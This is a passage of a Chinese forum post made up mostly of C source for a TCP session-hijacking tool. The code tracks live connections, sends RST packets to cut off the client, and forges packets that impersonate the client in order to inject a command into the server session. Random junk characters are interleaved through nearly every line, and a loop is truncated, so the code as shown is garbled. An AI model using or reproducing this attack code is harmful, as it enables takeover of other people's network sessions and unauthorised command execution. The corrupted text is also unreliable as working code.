- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
6 w- l L9 ?' Z( |+ j- T: n //reset action flag
% Q0 l* \. U7 t3 h, Y Q8 s: p ResetActionAllFlag();
8 z: I7 X. z! d5 z, f }
' g- R0 {. g0 W5 u) h //start hijack
) K- J3 U/ q( P* X else if(g_dwAction == ACTION_HIJACK)
7 h( Y3 G& Q2 H, @) ?! x { 3 K/ C3 W' M2 [: o
//send rst packet to client
) H% x) a r e% M `/ Y$ l SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
. W* q4 |9 Z( Q0 l$ A# G: A# k0 U //send hijack packet to client ! h+ V! Q+ N6 W3 q0 J @1 V
SendHiJackPacket(pTCPPacket); 5 b9 q$ v/ c, x" r- ~( }4 L
//reset action flag
. A) g& l, m$ ~. Y8 J' N ResetActionAllFlag(); : E. n7 G v+ Q
} : V& O8 `7 K6 M4 h
}
4 |5 C; W" c, Z! E0 K //show the tcp data
; \* i/ ?- b" ^0 \4 s* J$ C if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
$ d" V7 [+ s- F6 w/ n' @" k0 y! m5 ]& q- q# J { : ]7 ^. `* g+ u0 S# _) `% |
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); / i7 r$ b/ | ?5 M6 G
//暂不考虑IP、TCP头不是20字节的情况
4 f5 `) D6 A- V! t! X //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
$ }% \5 A. o7 i6 ? pStr = (char *)pTCPPacket + 54;
# b( D7 U! N6 Z& _8 u5 Z! ] for(i=0; i }
2 G1 _1 Q: H; [ u" ^ }
8 Q9 w; }3 @7 v) W" ]; A! y: M //debug output / s! ^6 v0 u; T& Y4 L7 M
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); & x A0 c5 ^' d. f, h$ C
}//end of analyse packets while E. t1 D' w) [
}//end of recv packets while
* a# G1 G8 H( w& |# I( G PacketFreePacket(lpRecvPacket);
8 m9 W4 d( e( M return 0; 6 A# o2 }& G. [( L6 U6 l. [) l
} a1 p" @" Y, f" x! {+ k- U
7 o+ J4 y0 ~3 L3 [2 u, C' A
3 D) P* s( @- k1 t4 v! C' {5 C9 H// ; g6 Q; L/ }, h+ M! J
//功能:操作记录所有连接信息的单向链表
; V; l6 O4 g1 g( z: O// 0 s; r3 u: z, i( }+ m0 J
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
. n" O1 G' C5 ^/ q" M1 G' @ USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
" s+ j$ D7 q" E3 B3 s2 M' ^/ a{ ) A( I( z& M2 a; U+ v& M4 y
PCONNINFO pNew, pTmp; + b. {! v& I7 V" v3 s
% A- V1 f$ K8 F# U/ {1 O. O pTmp = g_pConnHead;
9 W( m0 j( u. b# W) I9 Z while(pTmp) ; \; H( U* Z4 x
{ ) f. m; N* w6 y- @" _
if(pTmp->bActive)
) `/ V0 l3 ~, d! d/ h) l {
4 P+ a; y W: B8 [! X' v, k; `/ D //found it
6 ]$ ^0 Z; a) G2 I if( (pTmp->dwServerIP == dwServerIP) &&
! S+ h. F7 C q# }7 q (pTmp->uServerPort == uServerPort) && & c% r- I: W0 J) @' ?+ r5 x! u
(pTmp->dwClientIP == dwClientIP) &&
8 ^1 A$ u* n) {$ E) r6 Z2 ] (pTmp->uClientPort == uClientPort) ) - y. O+ W; v( U/ u; ?
{ - h7 i% t. @8 p2 V! N- k, h
if(bDelete)
2 c0 w! f8 ~: }/ w { , S- m9 V7 j, [! S, Q6 ^ ?
pTmp->bActive = FALSE; - c- {. i8 z5 E+ A) V8 c$ I/ ?
return 0; : N& L. W7 u* C% |1 w0 t7 B
}
6 O" J2 F9 q0 l& Y8 m) z else return pTmp->ident; * p% P) Z* X9 t& x
}
+ k' c% ~( S) p }
" J) C3 T8 L: S pTmp = pTmp->Next;
( o1 O2 H+ v- ?' p2 N } - B; c+ n4 c+ {9 h8 b4 o5 v! s+ H2 Y
//not found, create new node ( d! s0 b$ k7 i0 i3 s; a
if( (!pTmp) && (!bDelete) && (bAddNew) )
8 j" V* _: i6 ]. Q: S {
/ y8 p3 R! i7 n4 ` //search unactive note
$ F0 T* j6 |8 b, r; i8 W pTmp = g_pConnHead; $ S; P# D- o/ q0 c; U( s! h
while(pTmp) o9 r# n" E. Y3 |# V; G
{ 4 }5 M5 \' _" C- B3 N' F
if(!pTmp->bActive) break;
: g V4 n- f- L pTmp = pTmp->Next;
) ^! [% {& ^! V- j1 q } ' n5 B; m" l3 z, T* ]9 z
//found a unactive node / V) O0 o; T+ g0 l) N
if(pTmp) ! ]5 N2 \ j7 J6 T; X& l# N* x5 c; m
{
8 B2 J/ t" Z2 a pTmp->dwServerIP = dwServerIP; , }! b! V! D2 u( z3 E$ x6 U
pTmp->uServerPort = uServerPort; 3 i9 K6 }1 E: ]3 {
pTmp->dwClientIP = dwClientIP;
D4 u# D# z+ X& b" v5 a8 X pTmp->uClientPort = uClientPort;
) S; A& ~# {# S! H @ pTmp->bActive = TRUE;
- f! a# L1 T& Q( V# C8 |, ?$ g return pTmp->ident;
& p( {9 _6 {% P% E* G( r; N }
* x8 i1 l% @! \7 @7 ^9 @' n) U7 | //not found,create new node , h+ B' W1 h' y: ~- X
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 0 M- J% x6 d8 L9 p/ ~9 t, K% Z
if(!pNew)
" c* }6 q/ a7 q% h {
# ^) K# y; {; x3 B9 ] printf("malloc for link node error:%d\n", GetLastError());
" B0 a6 \0 @9 Y* v return 0;
8 H5 j: ?# C2 X4 ` } 0 Y b7 I$ N1 L# J2 ]& [2 Z( x2 a
//fill the struct * u% m6 f, s% B
pNew->bActive = TRUE;
/ E: W/ ]. r! V" W( q% I$ e pNew->dwServerIP = dwServerIP; $ z( o) g) n* S( C+ B* B
pNew->uServerPort = uServerPort; ( O* H' w9 x0 |8 H: x+ O
pNew->dwClientIP = dwClientIP;
; U, v. [0 W5 O, {+ } pNew->uClientPort = uClientPort;
3 U! m. R# T4 U" }5 Q; F X pNew->ident = ++g_ident;
7 u% Z9 ^0 z4 ] pNew->Next = NULL;
& e$ S4 Z- d. [. M3 Z/ c //add new node to link 5 y ]5 B/ v! N9 T5 w' i
if(!g_pConnHead) ' U! E* \3 V9 [* y
g_pConnHead = g_pConnLast = pNew;
: T- s1 t8 x: M else % ]5 r* |! {# V) H. I3 y
{ l& N$ T1 ~ a9 q% v
g_pConnLast->Next = pNew; 7 D1 r0 n! W" C. z: Y% ]1 [
g_pConnLast = pNew;
( x. S& f+ o0 a" Y6 ]; Z6 P }
6 P7 L- q0 Z: ]% u. j$ s1 Z return pNew->ident; 6 p& ?: W# v: t% ~) A8 R
} . w( f* q Z6 n B3 |: V# U
return 0; - v: [! o# [: @0 U+ Q; U8 H
} 2 B& A0 }; o$ `4 J1 H) {) B
' i: A4 Y, k2 `' N
//
6 k* Y- N0 h% L; f, y/ g' t0 H& e& f//功能:判断一个数据包是不是只有ACK标志 , F( i* x/ P% n! ?- y' C+ n$ A
// 7 Y$ U m+ j. [; P/ P4 }4 |. ]
BOOL IsACKPacket(unsigned char flag) ! X0 {8 X# j8 t7 p- f
{ " A' x/ k: J; P+ K+ c% p
int i, j=1; " \# q1 ?7 w. y0 `1 o6 V
for(i=0 ; i<4; i++)
3 o% v9 R0 m& u7 t, b {
- l1 h4 m" i4 _5 g if(flag & j) return FALSE;
0 A9 v8 V; W& X j <<= 1; , e# k5 G* x0 n" k5 }1 ^! p/ X; `0 q
} 4 ^6 p G- ^1 n7 N& F! B
if(!(flag & 0x10)) return FALSE;//is ack? 7 u- x7 P8 A6 E+ a0 {$ a
if(flag & 0x20) return FALSE;
/ r& B4 V5 |8 n4 j1 w/ ?! R5 F; K return TRUE; * e7 D6 T% Y/ W4 V& a0 l
} 1 I- Q- G% Q7 K. B
: Y1 t4 J8 d) A( W! T) k* D//
2 }0 h# e' l5 S) P3 t( j//功能:伪装成Client给Server发送数据包 3 t! S- o' p: Q5 T$ m
//
. j* E* J# }1 l, {7 S; oBOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
& j) c, \) h v2 }! [2 X. a{
+ f6 i+ p5 v# ~
9 A. G- T% T" O) m. B+ \ char szBuff[1520];
- O5 T4 G3 P3 o! p PSDHDR psdhdr; % v/ S- a$ A9 G* h
PTCPPACKET pHiJackPacket = NULL; , I( Z2 K r" L: Y" u# U# M
BOOL bRet = FALSE; & q/ @( z; G2 c% d9 h
2 {. S9 D' c# f9 {5 X8 l __try
# j3 `# l2 V, X( \. G {
6 M X% }, }' o, B* D // $ G2 ]/ |) V4 I8 R% U2 R, ~* e
if(!g_pCurrCtrlConn) __leave;
# u6 W, I2 n) [& ]: c //allocate memory for hijack packet
2 v V; H2 L) M( O$ y; L pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 6 G: Q7 g6 R8 T3 h
if(!pHiJackPacket) 2 q0 b0 g% K9 c# J. I# M+ c2 @
{
6 p4 u" G+ E" Y# p printf("malloc error:%d\n", GetLastError()); o' J* A- b7 o; _, w+ N
__leave; 7 h! z1 c6 M6 e9 ?, a
}
7 o! L& h# F0 P( J0 e memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); , u3 Q3 o+ ?2 O& K( \* P; |
//-------------- modify the packet ---------------//
* l; U* w' @- q, E //modify ethernet head - o) H8 [. P N: k
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
' m; F+ F- _- R1 Y4 n4 X memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
. f! j* W" `, K5 I% p; }( P //modify ip head - K4 H9 R0 h C( f0 s% j
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); / x9 F7 i6 i) n& A
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); , S7 b* @+ H, x7 @1 ?- H- a
pHiJackPacket->iphdr.ident += 1;//标识加1
% Z0 O' e6 J5 R' s. t" d pHiJackPacket->iphdr.checksum = 0;
0 Q# @8 Z/ f' P, v% J pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
+ f; x* d/ o0 ^! V$ C pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
$ M& K4 M3 j. v$ b* @. R //modify tcp head
9 n$ T+ V% b4 U* y pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
/ J7 J! t- C8 C$ M+ F pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
' p7 \) T! E7 }7 D1 v0 \! R2 l pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
6 S" j0 C; j7 \$ z' X- q9 u, q+ e, ` pHiJackPacket->tcphdr.th_flag = 0x18;// PA ' H8 _( M+ b6 D2 V- T$ l# B1 P
pHiJackPacket->tcphdr.th_sum = 0; " R; L; V( h0 T2 T* C( y
pHiJackPacket->tcphdr.th_win = 0x3F44; : w/ B$ w# p u. Q! V1 P
//fill tcp psd head * H# c4 i; q& J% D3 k5 T
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; E% g) f. J4 L l
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
5 u7 V; P) r' W3 k8 H psdhdr.mbz = 0;
/ D9 m; z" o% U- h/ l psdhdr.ptcl = IPPROTO_TCP;
' ~7 |, o& w1 P3 i ~" a psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len 3 f3 B" g! s9 A
//calculate tcp checksum
; j% K; R: P8 X& `. v0 Q- p memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
5 m( F. e0 x, T1 }+ L6 h" V8 Y/ n memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
1 m* k {8 m+ s memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
/ O2 W, R1 ]6 s! g7 h$ U U3 @9 _6 V0 w pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
]* |) z( L+ S) n, [ //calculate IP checksum 6 P) ]3 f3 U& q0 }4 [! g
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); ; c# C& |% X* @) _
//fill send buffer 1 g" O) a% V: _- ?+ e# G
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); & k% L# D1 z0 M" M7 O' Q1 G
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 0 U; ^' J% }0 p0 @$ ?3 N5 Y
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
2 d" q# s* U2 b- v# D& W memset(g_lpSendPacket->Buffer, 0, 1514);
. [2 r+ \9 [8 H% \ memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
# M7 b- ~! h/ s8 L if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
9 F2 I8 S5 g7 g. o/ w3 _ {
- q* B8 s1 ?1 X3 R1 T printf("Error sending the hijack packets!\n"); ) ?* I, q5 r4 N
__leave; 6 Y% c: e3 I/ I1 o
} & k) v! {7 C- Y" f( s
else printf("Send hijack packet ok!\n"); . t/ `3 h" B. u) b% O3 `2 S
bRet = TRUE;
5 b4 b- f/ S' D8 J$ R } |
|